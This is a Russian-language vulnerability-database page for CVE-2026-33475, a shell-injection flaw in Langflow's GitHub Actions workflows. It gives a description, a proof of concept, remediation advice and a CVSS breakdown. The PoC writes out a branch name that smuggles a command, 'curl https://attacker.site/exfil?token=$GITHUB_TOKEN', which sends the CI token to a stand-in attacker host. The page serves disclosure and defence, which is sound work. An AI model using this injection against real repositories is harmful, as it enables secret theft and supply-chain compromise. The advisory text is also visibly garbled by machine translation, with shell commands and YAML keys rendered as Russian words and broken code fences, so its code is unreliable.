V
Сканер-ВС
ГлавнаяКаталогИсточникиCWECAPECATT&CKМеры защитыПродуктыВендорыДокументация
CVE-2026-33475
CVE
Критический

Langflow - это инструмент для создания и развертывания агентов и рабочих процессов на основе ИИ. Неаутентированная уязвимость удаленного вп…

CVSS
9.1
Критический
EPSS
0.03
p85
Опубликовано
2026-01-01
Обновлено
2026-01-01
Описание

Langflow - это инструмент для создания и развертывания агентов и рабочих процессов на основе ИИ. Неаутентированная уязвимость удаленного впрыска оболочки существует в нескольких рабочих процессах GitHub Actions в репозитории Langflow до версии 1.9.0. Несанитарная интерполяция контекстных переменных (например, `${{{ github.head_ref }}`) в шагах `run:` позволяет злоумышленникам вводить и выполнять произвольные команды оболочки через вредоносное имя ветви или заголовок запроса. Это может привести к тайной эксфильтрации (например, `GITHUB_TOKEN`), манипулированию инфраструктурой или компромиссу цепочки поставок во время выполнения CI/CD. Версия 1.9.0 исправляет уязвимость. --- ## Детали Несколько рабочих процессов в `.github/workflows/`` и `.github/actions/` ссылка на контекстные переменные GitHub непосредственно в "run:` командах оболочки, как: ``yaml ``` проголодаться: | validate_branch_name "${{{ github.event.pull_request.head.ref }}" ``` Или: ``yaml ``` run: npx драматург установить ${{ входы.бровсеры }} --with-deps ``` Поскольку `github.head_ref`, `github.event.pull_request.title`` и пользовательские `inputs.*` могут содержать **управляемые ** ценности**, они должны рассматриваться как ****ненадежные вклады**. Прямая интерполяция без правильного цитирования или санации приводит к инъекции команды снаряда. --- ## # PoC 1. **Вилки** хранилище Langflow 2. 2. **Создать новую ветку** с именем: ``bash инъекционный тест && завиток https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. 3. **Откройте запрос на вытягивание** к основному филиалу из новой ветки 4. 4. GitHub Actions будет запускать затронутый рабочий процесс (например, "deploy-docs-draft.yml`) 5. `run:` шаг, содержащий: ``yaml ``` Эхо "ВеСТрь: ${{ github.head_ref }}" ``` Будет исполнять: ``bash Эхо "Ветвь: инъекционный тест" завиток https://atttacker.site/exfil?token=$GITHUB_TOKEN ``` 6. 6. Злоумышленник получает секрет CI через URL-адрес exfil. --- ## Impact - **Type:** Впрыскивание оболочки / Удаленное исполнение кода в CI - **Scope:** Любая публичная вилка Langflow с включенными действиями GitHub - **Импакт:** Полный доступ к секретам CI (например, `GITHUB_TOKEN`), возможность нажимать вредоносные теги или изображения, вмешиваться в выпуски или утечку конфиденциальных данных инфраструктуры --- ### Рекомактирование Рефактор затронул рабочие процессы для использования переменных среды** и заверните их в **double quotes**: ``yaml ``` Энв: ФИО_ИМЯ: ${{ github.head_ref }} проголодаться: | Эхо "Ветвь: \"$BRANCH_NAME\"" ``` Избегайте прямого `${{ ... }}` интерполяция внутри `run:` для любого значения, контролируемого пользователем. --- ## Затронутые Файлы (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - ".github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

Теги · CWE
Без аутентификации
CWE-74
CAPEC-3
CAPEC-6
CAPEC-7
CAPEC-8
CAPEC-9
CAPEC-10
CAPEC-13
CAPEC-14
CAPEC-24
CAPEC-28
CAPEC-34
CAPEC-42
CAPEC-43
CAPEC-45
CAPEC-46
CAPEC-47
CAPEC-51
CAPEC-52
CAPEC-53
CAPEC-64
CAPEC-67
CAPEC-71
CAPEC-72
CAPEC-76
CAPEC-78
CAPEC-79
CAPEC-80
CAPEC-83
CAPEC-84
CAPEC-101
CAPEC-105
CAPEC-108
CAPEC-120
CAPEC-135
CAPEC-250
CAPEC-267
CAPEC-273
Затронутые продукты
Langflow < 1.9.0
Вектор CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Хронология
2026-01-01
Опубликована
2026-01-01
Обновлена
Разбор CVSS 3.1
Вектор атаки
AV: N
Сеть (N)
Сложность атаки
AC: L
Низкая (L)
Требуемые привилегии
PR: N
Отсутствуют (N)
Взаимодействие с пользователем
UI: N
Отсутствует (N)
Область воздействия
S: U
Неизменная (U)
Воздействие на конфиденциальность
C: H
Высокое (H)
Воздействие на целостность
I: H
Высокое (H)
Воздействие на доступность
A: N
Отсутствует (N)
Индикаторы эксплуатации
EPSS
0.030 · p85
Известна эксплуатация (KEV)
Нет
MITRE ATT&CK
Выводимые через CAPEC
Проверки Сканер-ВС
Проверок Сканер-ВС для этой уязвимости в базе пока нет.
Затронутые продукты
ПродуктВендорСтатус
langflow*Отслеживается
Источники данных
CVE